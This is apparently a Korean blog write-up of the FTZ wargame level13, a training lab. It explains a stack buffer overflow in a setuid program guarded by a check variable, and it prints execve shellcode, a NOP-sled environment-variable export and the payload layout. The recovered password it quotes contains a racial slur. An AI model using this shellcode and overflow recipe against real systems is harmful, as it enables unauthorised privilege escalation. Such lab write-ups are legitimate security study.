Systemhacking/FTZ

[FTZ] level13

レ(゚∀゚;)ヘ=З=З=З 2021. 5. 23. 23:01
728x90

level 13

(password : have no clue)

level13 에 접속을 해서 'ls -l' 를 통해 level14 권한이 걸려 있는 'attackme' 라는 setuid인 파일과 'hint' 파일이 존재하는 것을 확인하였다.

'cat' 명령어를 통해 'hint' 파일의 내용을 확인하였다.

 

더보기

 

※ 'hint' 파일 해석

 

#include <stdlib.h>

main(int argc, char *argv[])
{
   long i=0x1234567;                                             (1)
   char buf[1024];                                                  (2)

   setreuid( 3094, 3094 );                                        (3)
   if(argc > 1)                                                       
   strcpy(buf,argv[1]);                                              (4)

   if(i != 0x1234567) {                                             (5)
   printf(" Warnning: Buffer Overflow !!! \n");               (6)
   kill(0,11);                                                           (7)
   }
}

(1) i의 값을 '0x1234567' 로 초기화

(2) buf 선언

(3) level13의 사용자 ID

(4) 사용자가 입력한 값을 'strcpy' 를 통해 'buf' 에 복사

(5) 만약 i가 '0x1234567'과 같지 않다면

(6) "Warning ... " 메세지를 출력

(7) 프로그램 종료

 

 

이전 'level11', 'level12' 문제를 풀 때 처럼 Return Address를 변조하려면 i의 값을 지나가는데, 이 i의 값이 변조되면 안된다는 것이다. i의 변조를 피하기 위해 먼저 i의 위치를 알아보았다.

그 전에 'attackme' 파일을 './tmp' 로 옮겨 'level14.c'로 생성을 해 주었고, 컴파일을 해 주었다.

그리고 나서 'gdb'로 디스어셈블리를 해 주었다.

0x080484a3 <main+3> 부분을 보면 0x418만큼의 공간을 할당해준다.

0x418은 10진수로 1048인데, buf는 1024byte 그리고 i의 변수형이 long 이므로 4byte이므로

dummy는 1048 - 1028 = 20 byte라는 것을 알 수 있다.

공간은 아래와 같이 구성된다.

RET(4)
SFP(4)
dummy(?)
i(4)
dummy(?)
buf(1024)

 

<main+9> 와 <main+69> 부분에서 '0x1234567'이 나오는 것을 보아 i와 관련된 코드인 것 같다.

[ebp-12] 부터 [ebp-8] 까지가 i에 해당하고, [ebp-8]부터 [ebp-0] 까지가 dummy가 되는 것 같다.

RET(4)
SFP(4)
dummy(8)
i(4)
dummy(?)
buf(1024)

 

<main+54> 부분을 보면 'buf' 는 [ebp-1048] ~ [ebp-24] 까지 해당되고, [ebp-24]~[ebp-12] 까지가 dummy에 해당되는 것 같다.

RET(4)
SFP(4)
dummy(8)
i(4)
dummy(12)
buf(1024)

이제 i위 위치를 알아냈으므로, level11, level12문제와 같이 환경 변수를 이용해서 풀어보았다.

 

쉘을 실행시키기 위해 쉘 코드인 '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' 를

export SHELLCODE=$(python -c 'print "\x90"*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') 을 통해 환경 변수에 등록을 해주었다.

'export | grep SHELLCODE' 를 통해 확인해 주었다.

그 다음, 환경 변수의 주소를 획득하기 위해 './tmp' 아래에 'getlevel14.c' 파일을 만들어 주었다.

'getenv("변수명")' 함수를 통해 'SHELLCODE'의 메모리 주소를 출력하도록 하였다.

'getlevel14.c' 파일을  'getlevel14' 로 컴파일 해준 다음, 'ls' 를 통해 확인해 주었다.

생성한 './getlevel14' 을 실행하면, 'SHELLCODE' 의 주소인 '0xbfffc957' 인 것을 확인할 수 있었다.

 

환경 변수의 주소를 얻었으므로 그것을 활용해 페이로드를 작성해 보았다.

중요한 것은 i의 값을 변조하지 않는 것이므로 

'dummy(1036) + i + dummy(12) + SEHLLCODE address' 로 생성하였다.

 

위의 페이로드를 입력해 주었다.

성공하였고, 'my-pass' 를 통해 'level14'의 'password'인 "what that nigga want?"를 얻을 수 있었다.

'Systemhacking > FTZ' 카테고리의 다른 글

[FTZ] level14  (0) 2021.05.25
[FTZ] level12  (0) 2021.05.23
[FTZ] level 11  (0) 2021.05.17
[FTZ] level10  (0) 2021.05.17
[FTZ] level9  (0) 2021.05.06